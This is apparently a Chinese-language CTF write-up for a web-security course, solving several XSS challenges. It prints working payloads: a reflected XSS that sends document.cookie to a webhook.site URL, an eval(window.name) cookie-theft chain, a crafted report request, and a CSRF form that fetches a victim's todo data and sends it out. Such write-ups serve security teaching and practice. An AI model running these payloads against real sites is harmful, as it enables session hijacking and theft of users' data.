lecture: https://youtu.be/r-WGQuEpRVk
slide: https://drive.google.com/file/d/1wRNMRO6JzA3taST9dvC_jmf7aOm-K66T/view?usp=sharing
我們可以提供題目 ?config=hwllo
可以看到會被 reflect 到網頁上
這邊發現會擋單引號
所以不能直接結束他的單引號
不過這裡可以使用反斜線來跳脫他的單引號
然後再把 <script>
結束掉
然後在開一個 <script>
來放自己的 payload
只要把 config
設成以下就可以把 victim
的 cookie
帶到我這邊
config
1;alert();</script>
<script>
location=
`https://webhook.site/78a14f9e-5d69-4ab1-8836-3040ba14bddb?`
+document.cookie
</script>\
植入後的樣子
所以只要把下面這個送給 admin
就可以偷走他的 cookie
了
http://particles.ctf.zoolab.org/?config=1%3Balert()%3B<%2Fscript><script>location%3D`https%3A%2F%2Fwebhook.site%2F78a14f9e-5d69-4ab1-8836-3040ba14bddb%3F`%2Bdocument.cookie<%2Fscript>\
送 payload 給 admin
收到 admin 的 cookie
進到題目發現是個可以寫 Note
的地方
寫一個 Note
送出後會跑到另一個頁面
那個頁面會從前端去 fetch
我們寫的那個 Note
可以看到上面 :24
的 title
是我們可控的
而且他用的是危險的 innerHTML
可以使用 <img src=x onerror='alert()'>
來達成 XSS
不過他的 title
後端有限制 40 個字
字數限制
這邊就利用 eval(window.name)
來繞
這邊先讓 victim
到自己可控的網頁把 window.name
控制成偷餅乾的 payload
然後把 victim
導向有我們 eval(window.name)
XSS
的 note
這樣就會執行到我們的 payload
這邊可以使用上一題的 XSS
來控制 window.name
及導向 note
利用上一題的 XSS 控制 window.name
利用自己的網頁控制 window.name
https://ching367436.github.io/hserver/h.html?
url=https://note.ctf.zoolab.org/note/7c1082165ea6aefc7673d16d&
name=
location=`https://example.com/?${document.cookie}`
Exploitation
製作一個內容有這個的 note
<img src=x onerror='eval(window.name)'>
window.name
先把 victime
帶到我們可控的地方
在那個地方把 window.name
設成我們要執行的 script
也就是偷 cookie
window.name
// send cookie to example.com
location=
`https://example.com/?${document.cookie}`
把 victim
重新導向到 Step1
設好的 note
裡面
這樣子就會執行 eval(window.name)
也就是 Step2
的偷 cookie
的 script
最後只需要把上面做好的 Exploit
送給 admin
就好了
送 payload 給 admin
POST /report HTTP/1.1
Host: edu-ctf.zoolab.org:10204
Content-Length: 259
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://edu-ctf.zoolab.org:10204
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://edu-ctf.zoolab.org:10204/note/7c1082165ea6aefc7673d16d
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=ofmvir92rth2rumh20s133dog7
Connection: close
url=https%3a%2f%2fching367436.github.io%2fhserver%2fh.html%3furl%3dhttp%3a%2f%2fedu-ctf.zoolab.org%3a10204%2fnote%2f7c1082165ea6aefc7673d16d%26name%3dlocation%3d%60https%3a%2f%2fwebhook.site%2f78a14f9e-5d69-4ab1-8836-3040ba14bddb%3f%24%7bdocument.cookie%7d%60
收到 admin 的 flag
進來題目看到一個登入註冊頁面
這個網站使用了 Express
nginx
來檢查一下 headers
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Fri, 30 Dec 2022 00:32:04 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 1774
< Connection: keep-alive
< X-Powered-By: Express
< ETag: W/"6ee-bnJV5par9WDmoo5lLhS2htEFrgk"
<
<!DOCTYPE html>
<html lang="en">
<head>
<title>Simple Note</title>
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-31d28cf6966b06f2bab2d9bfeca941ea' https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.4.1/purify.min.js">
...
<script nonce="31d28cf6966b06f2bab2d9bfeca941ea">
var action = "Login";
var switchAction = function(e){
action = e.target.innerText;
btn.innerText = action;
}
kbdLogin.onclick = kbdRegister.onclick = switchAction;
btn.onclick = function(e){
fetch(`/api/${action.toLowerCase()}`,{
method: "POST",
body: JSON.stringify({username:username.value, password:password.value})
}).then(r => r.json()).then(e => {
if (e.error) alert(e.error);
if (e.success) location = '/todo';
})
}
</script>
</body>
</html>
:14
可以看到有 CSP
dompurify
nonce
感覺是個前端題
這邊知道是 Express
不過還是試一下 .git
robots.txt
都沒東西 而且連 404
頁面都有 CSP
< HTTP/1.1 404 Not Found
< Server: nginx/1.18.0 (Ubuntu)
< Date: Fri, 30 Dec 2022 00:37:36 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 143
< Connection: keep-alive
< X-Powered-By: Express
< Content-Security-Policy: default-src 'none'
< X-Content-Type-Options: nosniff
<
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /.git</pre>
</body>
</html>
看到這邊回去看看題目要我們做什麼
結果發現有 source code
我們要做的事情是拿到 admin
的 flag
就先來看看 source code
docker-compose.yml
version: '3.7'
services:
bot:
build:
context: ./bot
restart: always
environment:
- PORT=8080
- SITE=https://todo.ctf.zoolab.org/ # Admin will login to https://todo.ctf.zoolab.org, but for local test, you should set this to something like https://localhost:443
- REPORT_HOST=web
- ADMIN_PASSWORD=dummypassword
web:
build:
context: ./web
environment:
- BOT_HOST=bot
- BOT_PORT=8080
- FLAG=FLAG{dummyflag}
- ADMIN_PASSWORD=dummypassword
restart: always
ports:
- "18443:443"
看到有分成 bot
web
兩個部分
來看 web
web/src/package.json
{
"dependencies": {
"ejs": "^3.0.1",
"express": "^4.18.2",
"express-session": "^1.17.3",
"https": "^1.0.0",
"xfetch-js": "^0.5.0"
},
"scripts": {
"start": "node app.js"
}
}
看到 :10
進入 app.js
web/src/app.js
看到架構
決定順著我們進入的網頁順序看
來看 app.get("/api/login")
:91
看到他用了叫做 db
的東西
來看看那是什麼
原來那是 js
的 Map
我們還看到了 :27
會把 flag
放到 db.get("admin").todo[0].text
裡面
回來 app.get("/api/login")
:88,89
的 username
password
很嚴格
:95
我們知道 req.session.username
有被設的話就是登入成功
也許會有什麼地方我們可以控制這個
或是有哪邊沒有檢查到 req.session.username
的功能
總共有 8 個地方出現了 req.session.username
目前看來都有把該處理的地方處理
接著來看看前端的部分
web/src/views/todo.ejs
<!DOCTYPE html>
<html lang="en">
<head>
<title>Note</title>
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-<%= nonce %>' https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.4.1/purify.min.js">
<link rel="stylesheet" href="https://cdn.simplecss.org/simple.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.4.1/purify.min.js"></script>
</head>
<body>
<main>
<h1>TODO List</h1>
<hr>
<article id="container">
</article>
<input type="text" id="inputNode" style="width: 100%">
<input type="hidden" id="csrfToken" value="<%= csrfToken %>">
<button id="logout">Logout</button>
<button id="report">Report</button>
</main>
<script nonce="<%= nonce %>"></script>
</body>
</html>
看到 :31,43
的 render
有 innerHTML
出現
其中我們能控制的的部分在 :40
只是會被 DOMPurify.sanitize
tmpNode.lastChild.innerHTML = DOMPurify.sanitize(item.text);
而且 :5
還有 CSP
丟 CSP Evaluator
看看
script-src 'nonce-<%= nonce %>' https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.4.1/purify.min.js
這裡有 dompurify
的可用 tag
https://github.com/cure53/DOMPurify/blob/1.0.8/src/tags.js
這邊想了 <base>
會被過濾
不過可以植入 <style>
拿來偷資料
或是哪邊有 DOM Clobbering
之類的
在 app.post("/api/report")
有 XSS,只是是 POST 的,而且還要 CSRF token。
CSRF token 由以下方式構成,而由於是跑在 Docker 上,所以大家的 req.ip
都會一樣,csrfToken
是固定的值。可以看出 csrfToken
可以重複利用。
salt = crypto.randomBytes(4).toString('hex');
csrfToken = salt + crypto.createHash('md5').update(salt + req.ip + csrfSecret, 'utf8').digest('hex')
依照上面的觀察,可以構造出以下自動 XSS 的 payload,只要把 csrfToken
置換成任意合法的 csrfToken
就可以自由 XSS 了。
https://security.stackexchange.com/questions/127237/xss-not-exploitable-when-post-data-is-sent-in-json
<form action="https://192.168.50.42:18443/api/report" method="post" enctype="text/plain">
<input name='
{
"url": "https://www.google.com/<script>alert(1)</script>",
"csrfToken": "5247f5add4ef3a498ff6d4cfa422200db14af04a",
"ignore_me":"' value='test"}' type='hidden'>
</form>
<script>
document.forms[0].submit();
</script>
以下是最終的 payload:
https://security.stackexchange.com/questions/127237/xss-not-exploitable-when-post-data-is-sent-in-json
<form action="https://192.168.50.42:18443/api/report" method="post" enctype="text/plain">
<input name=' { "url": "https://www.google.com/<script> (async ()=> { let res = await fetch(`/api/todo`).then(r=>r.text()); location=`https://webhook.site/cea0effe-97b0-48a6-9ec3-cdd8fc904d57?`+res; })(); </script>", "csrfToken": "5247f5add4ef3a498ff6d4cfa422200db14af04a",
"ignore_me":"' value='test"}' type='hidden'>
</form>
<script>
document.forms[0].submit();
</script>